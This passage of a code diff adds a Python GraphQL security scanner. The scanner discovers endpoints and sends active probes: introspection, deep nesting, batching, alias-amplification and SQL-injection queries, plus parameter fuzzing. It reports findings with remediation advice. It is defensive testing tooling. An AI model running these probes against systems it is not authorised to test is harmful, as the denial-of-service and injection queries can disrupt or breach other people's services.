+ "nested_query": DEEP_NESTED_QUERY,
87
+ "mutation_test": "mutation { __typename }",
88
+ "batching": BATCHING_QUERY,
89
+ "alias_spam": ALIAS_QUERY,
90
+ "sqli_test": SQLI_GQL_QUERY,
91
+ }
92
+
93
+ ERROR_PATTERNS = [
94
+ r"GraphQL error", r"Cannot query field", r"Cannot return null",
95
+ r"Variable", r"Syntax Error", r"Parse error", r"Validation error",
96
+ ]
97
+
98
+ SQLI_ERROR_PATTERNS = [
99
+ r"SQL syntax", r"mysql_fetch", r"ORA-[0-9]{5}", r"PostgreSQL",
100
+ r"SQLite", r"unclosed quotation mark", r"quoted string not properly terminated",
101
+ r"division by zero", r"syntax error at or near", r"Unclosed",
102
+ ]
103
+
104
+
105
+ class GraphqlScanner(BaseScanner):
106
+ SCANNER_NAME = "GraphQL Security Scanner"
107
+ _SCANNER_KEY = "graphql"
108
+
109
+ def __init__(self, scan_id, target, domain, **kwargs):
110
+ super().__init__(scan_id, target, domain, **kwargs)
111
+ self._headers = {
112
+ "User-Agent": "LarShield/2.0 GraphQL Scanner",
113
+ "Content-Type": "application/json",
114
+ "Accept": "application/json",
115
+ }
116
+ if self.auth_headers:
117
+ self._headers.update(self.auth_headers)
118
+ self._tested_endpoints = 0
119
+ self._vulns_found = 0
120
+ self._fuzzer = ContextAwareFuzzer(self._gql_fuzzer_req)
121
+
122
+ def _gql_fuzzer_req(self, url, params, headers=None):
123
+ variables = {}
124
+ for key, val in params.items():
125
+ variables[key] = val
126
+ payload_dict = {"query": "query($vars: JSON!) { __typename }", "variables": variables}
127
+ encoded = json.dumps(payload_dict).encode("utf-8")
128
+ merged = {"Content-Type": "application/json"}
129
+ if headers:
130
+ merged.update(headers)
131
+ body, status = self._make_request(url, method="POST", data=encoded, headers=merged, timeout=8)
132
+ return body or "", status
133
+
134
+ def _make_gql_request(self, url, query, variables=None, timeout=8):
135
+ """Send a GraphQL query and return the response."""
136
+ payload = {"query": query}
137
+ if variables:
138
+ payload["variables"] = variables
139
+ encoded = json.dumps(payload).encode("utf-8")
140
+ body, status = self._make_request(
141
+ url, method="POST", data=encoded,
142
+ headers=self._headers, timeout=timeout,
143
+ )
144
+ return body, status
145
+
146
+ def _detect_graphql_endpoint(self, url):
147
+ """Check if a URL is a GraphQL endpoint."""
148
+ try:
149
+ body, status = self._make_request(url)
150
+ if body:
151
+ for indicator in GRAPHQL_INDICATORS:
152
+ if re.search(indicator, body, re.IGNORECASE):
153
+ return True, "GET"
154
+
155
+ body, status = self._make_gql_request(url, TEST_QUERIES["basic_query"])
156
+ if body:
157
+ try:
158
+ response_json = json.loads(body)
159
+ if "data" in response_json or "errors" in response_json:
160
+ return True, "POST"
161
+ except json.JSONDecodeError:
162
+ pass
163
+
164
+ for indicator in GRAPHQL_INDICATORS:
165
+ if re.search(indicator, body, re.IGNORECASE):
166
+ return True, "POST"
167
+ except Exception as e:
168
+ self.log("ERROR", f"[GraphQL] Error detecting endpoint {url}: {e}")
169
+
170
+ return False, None
171
+
172
+ def _test_introspection(self, url):
173
+ """Test if introspection is enabled (information disclosure)."""
174
+ try:
175
+ body, status = self._make_gql_request(url, TEST_QUERIES["introspection"])
176
+ if not body:
177
+ return False
178
+
179
+ try:
180
+ response_json = json.loads(body)
181
+ if "data" in response_json:
182
+ data = response_json["data"]
183
+ if "__schema" in data or "__type" in data:
184
+ self._vulns_found += 1
185
+ self.log("CRITICAL", "[GraphQL] Introspection is ENABLED — Full schema disclosure!")
186
+
187
+ schema = data.get("__schema", {})
188
+ types = schema.get("types", [])
189
+ query_fields = schema.get("queryType", {}).get("fields", [])
190
+ mutation_fields = schema.get("mutationType", {}).get("fields", [])
191
+
192
+ self.log("INFO", f"[GraphQL] Schema contains {len(types)} types, "
193
+ f"{len(query_fields)} query fields, {len(mutation_fields)} mutation fields")
194
+
195
+ self.add_vuln(
196
+ title="GraphQL — Introspection Enabled",
197
+ severity="High",
198
+ category="Information Disclosure",
199
+ cvss_score=7.5,
200
+ description=(
201
+ f"GraphQL introspection is enabled at {url}.\n"
202
+ f"Discovered schema contains:\n"
203
+ f"- {len(types)} types\n"
204
+ f"- {len(query_fields)} query fields\n"
205
+ f"- {len(mutation_fields)} mutation fields\n\n"
206
+ f"Introspection exposes the entire GraphQL schema, including "
207
+ f"all queries, mutations, types, and their relationships. "
208
+ f"This information can be used by attackers to craft targeted attacks."
209
+ ),
210
+ remediation=(
211
+ "1. DISABLE introspection in production:\n"
212
+ " - Apollo Server: introspection: false in config\n"
213
+ " - GraphQL Yoga: disableIntrospection: true\n"
214
+ " - Graphene: disable_introspection = True\n"
215
+ "2. Use environment-specific configuration\n"
216
+ "3. Implement proper authentication and authorization\n"
217
+ "4. Monitor for introspection queries in logs"
218
+ ),
219
+ evidence=json.dumps({k: v for k, v in data.items() if k == "__schema"}, indent=2)[:500],
220
+ payload="Introspection query (see evidence)",
221
+ request_details=f"URL: {url}",
222
+ response_details=f"Schema: {len(types)} types, {len(query_fields)} queries, {len(mutation_fields)} mutations",
223
+ confidence="Confirmed",
224
+ )
225
+ return True
226
+ except json.JSONDecodeError:
227
+ pass
228
+ except Exception as e:
229
+ self.log("ERROR", f"[GraphQL] Error testing introspection: {e}")
230
+
231
+ return False
232
+
233
+ def _test_query_depth(self, url):
234
+ """Test for query depth limiting (DoS prevention)."""
235
+ try:
236
+ body, status = self._make_gql_request(url, TEST_QUERIES["nested_query"], timeout=15)
237
+ if not body:
238
+ return False
239
+
240
+ try:
241
+ response_json = json.loads(body)
242
+ if "data" in response_json and response_json["data"]:
243
+ self.log("WARNING", "[GraphQL] Query depth limiting may not be configured")
244
+
245
+ self.add_vuln(
246
+ title="GraphQL — Missing Query Depth Limiting",
247
+ severity="Medium",
248
+ category="Denial of Service",
249
+ cvss_score=5.3,
250
+ description=(
251
+ f"GraphQL endpoint at {url} accepted deeply nested queries without depth limiting. "
252
+ "This can lead to denial of service attacks through complex nested queries."
253
+ ),
254
+ remediation=(
255
+ "1. IMPLEMENT query depth limiting:\n"
256
+ " - Apollo Server: maxDepth or validation rules\n"
257
+ " - Set reasonable depth limits (e.g., 5-10 levels)\n"
258
+ "2. Implement query complexity analysis\n"
259
+ "3. Use query whitelisting for production"
260
+ ),
261
+ evidence="Deeply nested query returned data successfully",
262
+ payload=TEST_QUERIES["nested_query"][:200],
263
+ request_details=f"URL: {url}",
264
+ response_details="Query executed without depth limit enforcement",
265
+ confidence="Confirmed",
266
+ )
267
+ return True
268
+ except json.JSONDecodeError:
269
+ pass
270
+ except Exception as e:
271
+ self.log("ERROR", f"[GraphQL] Error testing query depth: {e}")
272
+
273
+ return False
274
+
275
+ def _test_batching_attack(self, url):
276
+ """Test for batching attack vulnerabilities (batched queries bypassing rate limits)."""
277
+ try:
278
+ body, status = self._make_gql_request(
279
+ url, TEST_QUERIES["batching"],
280
+ timeout=15,
281
+ )
282
+ if not body:
283
+ return False
284
+
285
+ try:
286
+ response_json = json.loads(body)
287
+ if isinstance(response_json, list) and len(response_json) >= 5:
288
+ self._vulns_found += 1
289
+ self.log("WARNING",
290
+ f"[GraphQL] Batching is supported — {len(response_json)} batched queries accepted at {url}")
291
+
292
+ self.add_vuln(
293
+ title="GraphQL — Batching Attack Possible",
294
+ severity="High",
295
+ category="Denial of Service",
296
+ cvss_score=7.5,
297
+ description=(
298
+ f"GraphQL endpoint at {url} supports query batching.\n"
299
+ f"Accepted {len(response_json)} batched queries in a single request.\n\n"
300
+ f"Impact: Attackers can bypass rate limiting by sending multiple "
301
+ f"operations in a single request, making brute-force attacks, "
302
+ f"enumeration, and DoS more effective."
303
+ ),
304
+ remediation=(
305
+ "1. Implement rate limiting per operation, not per request.\n"
306
+ "2. Limit the number of operations allowed per batch request.\n"
307
+ "3. Use cost-based analysis to limit batch complexity.\n"
308
+ "4. Consider disabling batching if not required."
309
+ ),
310
+ evidence=f"Batched query returned {len(response_json)} results",
311
+ payload="Batched query with 5 operations",
312
+ request_details=f"URL: {url}",
313
+ response_details=f"{len(response_json)} operations accepted",
314
+ confidence="Confirmed",
315
+ )
316
+ return True
317
+ except (json.JSONDecodeError, TypeError):
318
+ pass
319
+ except Exception as e:
320
+ self.log("ERROR", f"[GraphQL] Error testing batching attack: {e}")
321
+
322
+ return False
323
+
324
+ def _test_alias_dos(self, url):
325
+ """Test for alias-based DoS attacks (many aliases consuming resources)."""
326
+ try:
327
+ body, status = self._make_gql_request(url, TEST_QUERIES["alias_spam"], timeout=15)
328
+ if not body:
329
+ return False
330
+
331
+ try:
332
+ response_json = json.loads(body)
333
+ if "data" in response_json:
334
+ data = response_json["data"]
335
+ alias_count = sum(1 for k in data if k.startswith("a"))
336
+ if alias_count >= 8:
337
+ self._vulns_found += 1
338
+ self.log("WARNING",
339
+ f"[GraphQL] Alias-based DoS possible at {url} — {alias_count} aliases accepted")
340
+
341
+ self.add_vuln(
342
+ title="GraphQL — Alias-Based DoS Possible",
343
+ severity="Medium",
344
+ category="Denial of Service",
345
+ cvss_score=5.0,
346
+ description=(
347
+ f"GraphQL endpoint at {url} accepted {alias_count} aliases in a single query.\n"
348
+ f"Attackers can use many aliases to amplify resource consumption.\n\n"
349
+ f"Aliases allow the same field to be queried multiple times under different names, "
350
+ f"bypassing query depth limits while consuming significant server resources."
351
+ ),
352
+ remediation=(
353
+ "1. Implement query complexity/cost analysis.\n"
354
+ "2. Limit the number of aliases allowed per query.\n"
355
+ "3. Use rate limiting based on field resolution cost.\n"
356
+ "4. Consider using persisted queries in production."
357
+ ),
358
+ evidence=f"{alias_count} aliases accepted",
359
+ payload="Alias-based amplification query",
360
+ request_details=f"URL: {url}",
361
+ response_details=f"Accepted {alias_count} aliases",
362
+ confidence="Confirmed",
363
+ )
364
+ return True
365
+ except json.JSONDecodeError:
366
+ pass
367
+ except Exception as e:
368
+ self.log("ERROR", f"[GraphQL] Error testing alias DoS: {e}")
369
+
370
+ return False
371
+
372
+ def _test_graphql_sqli(self, url):
373
+ """Test for SQL injection via GraphQL query parameters."""
374
+ try:
375
+ sqli_query = TEST_QUERIES["sqli_test"]
376
+ body, status = self._make_gql_request(url, sqli_query, timeout=15)
377
+ if not body:
378
+ return False
379
+
380
+ try:
381
+ response_json = json.loads(body)
382
+ # Check for SQL errors in response
383
+ errors = response_json.get("errors", [])
384
+ error_str = json.dumps(errors)
385
+ for pattern in SQLI_ERROR_PATTERNS:
386
+ if re.search(pattern, error_str, re.IGNORECASE):
387
+ self._vulns_found += 1
388
+ self.log("CRITICAL",
389
+ f"[GraphQL] SQL Injection via GraphQL at {url}! "
390
+ f"Pattern matched: {pattern}")
391
+
392
+ self.add_vuln(
393
+ title="GraphQL — SQL Injection via GraphQL Parameters",
394
+ severity="Critical",
395
+ category="Injection",
396
+ cvss_score=9.8,
397
+ description=(
398
+ f"A SQL injection vulnerability was detected via GraphQL at {url}.\n"
399
+ f"The GraphQL endpoint appears to pass user input directly to SQL queries.\n"
400
+ f"Pattern matched: {pattern}\n\n"
401
+ f"Impact: Attackers can extract, modify, or delete database contents, "
402
+ f"potentially leading to complete database compromise."
403
+ ),
404
+ remediation=(
405
+ "1. Use parameterized queries / prepared statements.\n"
406
+ "2. Implement input validation and sanitization.\n"
407
+ "3. Use an ORM/ODM with proper injection protections.\n"
408
+ "4. Implement least-privilege database access.\n"
409
+ "5. Regularly audit and test for injection vulnerabilities."
410
+ ),
411
+ evidence=f"SQL error pattern matched: {pattern}",
412
+ payload=SQLI_GQL_QUERY,
413
+ request_details=f"URL: {url}",
414
+ response_details=f"Error message: {error_str[:200]}",
415
+ confidence="Confirmed" if any(re.search(p, error_str, re.IGNORECASE) for p in SQLI_ERROR_PATTERNS) else "Medium",
416
+ )
417
+ return True
418
+ except json.JSONDecodeError:
419
+ pass
420
+ except Exception as e:
421
+ self.log("ERROR", f"[GraphQL] Error testing SQLi: {e}")
422
+
423
+ return False
424
+
425
+ def _test_graphql_params_fuzz(self, url):
426
+ try:
427
+ body, status = self._make_gql_request(url, TEST_QUERIES["introspection"])
428
+ if not body:
429
+ return
430
+ data = json.loads(body)
431
+ schema = data.get("data", {}).get("__schema", {})
432
+ query_type = schema.get("queryType", {})
433
+ fields = query_type.get("fields", []) if query_type else []
434
+ params = {}
435
+ for field in fields:
436
+ for arg in field.get("args", []):
437
+ params[arg["name"]] = "test"
438
+ mutation_type = schema.get("mutationType", {})
439
+ if mutation_type:
440
+ for field in mutation_type.get("fields", []):
441
+ for arg in field.get("args", []):
442
+ params[arg["name"]] = "test"
443
+ if not params:
444
+ params = {"query": "test", "id": "1", "filter": "test"}
445
+ self.log("INFO", f"[GraphQL] Context-aware fuzzing {len(params)} parameter(s) at {url}")
446
+ self._fuzzer.fuzz(url, params)
447
+ baseline_body, _ = self._make_gql_request(url, TEST_QUERIES["basic_query"])
448
+ baseline_length = len(baseline_body or "")
449
+ anomalies = self._fuzzer.anomalies(baseline_length)
450
+ for anom in anomalies:
451
+ self._vulns_found += 1
452
+ self.log("WARNING", f"[GraphQL] Fuzzer anomaly: {anom['param']} mutation={anom['mutation']} status={anom['status']}")
453
+ self.add_vuln(
454
+ title=f"GraphQL — Parameter Injection ({anom['param']})",
455
+ severity="High",
456
+ category="Injection",
457
+ cvss_score=7.5,
458
+ description=(
459
+ f"GraphQL parameter '{anom['param']}' (classified as '{anom['type']}') "
460
+ f"at {url} returned an anomalous response when mutated with "
461
+ f"'{anom['mutation']}' (value: {anom['value']}). "
462
+ f"HTTP {anom['status']}, response length {anom['length']}."
463
+ ),
464
+ remediation="Validate and sanitize all GraphQL argument inputs. Use parameterized queries, input type enforcement, and proper output encoding.",
465
+ cwe_ids=["CWE-20"],
466
+ owasp_category="A03:2021 – Injection",
467
+ )
468
+ except Exception as e:
469
+ self.log("ERROR", f"[GraphQL] Error in param fuzzing: {e}")
470
+
471
+ def _test_authorization(self, url):
472
+ """Test for authorization bypass in GraphQL."""
473
+ try:
474
+ test_query = """
475
+ {
476
+ __schema {
477
+ queryType {
478
+ fields { name args { name type { name } } }
479
+ }
480
+ }
481
+ }
482
+ """
483
+
484
+ body, status = self._make_gql_request(url, test_query)
485
+ if not body:
486
+ return False
487
+
488
+ try:
489
+ response_json = json.loads(body)
490
+ if "data" in response_json:
491
+ data = response_json["data"]
492
+ if "__schema" in data:
493
+ fields = data["__schema"].get("queryType", {}).get("fields", [])
494
+ sensitive_fields = []
495
+ for field in fields:
496
+ field_name = field.get("name", "").lower()
497
+ if any(s in field_name for s in ["user", "password", "secret", "key", "token", "admin"]):
498
+ sensitive_fields.append(field.get("name"))
499
+
500
+ if sensitive_fields:
501
+ self.log("WARNING", f"[GraphQL] Discovered potentially sensitive fields: {sensitive_fields}")
502
+ self.add_vuln(
503
+ title="GraphQL — Sensitive Field Exposure",
504
+ severity="Medium",
505
+ category="Information Disclosure",
506
+ cvss_score=5.5,
507
+ description=(
508
+ f"GraphQL schema exposes potentially sensitive fields: {', '.join(sensitive_fields)}. "
509
+ "These fields may contain sensitive information that should be protected."
510
+ ),
511
+ remediation=(
512
+ "1. Review and restrict field access based on user roles\n"
513
+ "2. Implement field-level authorization\n"
514
+ "3. Use custom resolvers with proper access checks\n"
515
+ "4. Audit schema for sensitive data exposure"
516
+ ),
517
+ evidence=f"Sensitive fields: {', '.join(sensitive_fields)}",
518
+ payload="Schema field discovery query",
519
+ request_details=f"URL: {url}",
520
+ response_details=f"Fields found: {[f.get('name') for f in fields[:10]]}",
521
+ confidence="High",
522
+ )
523
+ return True
524
+ except json.JSONDecodeError:
525
+ pass
526
+ except Exception as e:
527
+ self.log("ERROR", f"[GraphQL] Error testing authorization: {e}")
528
+
529
+ return False
530
+
531
+ def _discover_graphql_endpoints(self):
532
+ """Discover GraphQL endpoints."""
533
+ endpoints = []
534
+ base_url = self.target.rstrip("/")
535
+
536
+ for path in GRAPHQL_ENDPOINTS:
537
+ url = f"{base_url}{path}"
538
+ is_graphql, method = self._detect_graphql_endpoint(url)
539
+ if is_graphql:
540
+ endpoints.append((url, method))
541
+ self.log("INFO", f"[GraphQL] Discovered GraphQL endpoint: {url} ({method})")
542
+
543
+ is_graphql, method = self._detect_graphql_endpoint(self.target)
544
+ if is_graphql:
545
+ endpoints.append((self.target, method))
546
+ self.log("INFO", f"[GraphQL] Main URL is GraphQL endpoint: {self.target} ({method})")
547
+
548
+ return endpoints
549
+
550
+ def run(self):
551
+ self.log("INFO", f"[GraphQL] Starting GraphQL security scanning on {self.target}...")
552
+
553
+ try:
554
+ # Step 1: Discover GraphQL endpoints
555
+ self.log("INFO", "[GraphQL] Discovering GraphQL endpoints...")
556
+ endpoints = self._discover_graphql_endpoints()
557
+ self.log("INFO", f"[GraphQL] Found {len(endpoints)} GraphQL endpoint(s)")
558
+
559
+ if not endpoints:
560
+ self.log("INFO", "[GraphQL] No GraphQL endpoints detected")
561
+ return self.vulns
562
+
563
+ # Step 2: Test each endpoint
564
+ for url, method in endpoints:
565
+ self._tested_endpoints += 1
566
+ self.log("INFO", f"[GraphQL] Testing endpoint: {url}")
567
+
568
+ if self._test_introspection(url):
569
+ pass
570
+
571
+ self._test_query_depth(url)
572
+
573
+ self._test_authorization(url)
574
+
575
+ self._test_batching_attack(url)
576
+
577
+ self._test_alias_dos(url)
578
+
579
+ self._test_graphql_sqli(url)
580
+
581
+ self._test_graphql_params_fuzz(url)
582
+
583
+ except Exception as e:
584
+ self.log("ERROR", f"[GraphQL] Unexpected error during scan: {e}")
585
+
586
+ self.log("SUCCESS" if not self.vulns else "WARNING",
587
+ f"[GraphQL] Complete — {self._tested_endpoints} endpoint(s) tested | "
588
+ f"{self._vulns_found} vulnerability/vulnerabilities found")
589
+ return self.vulns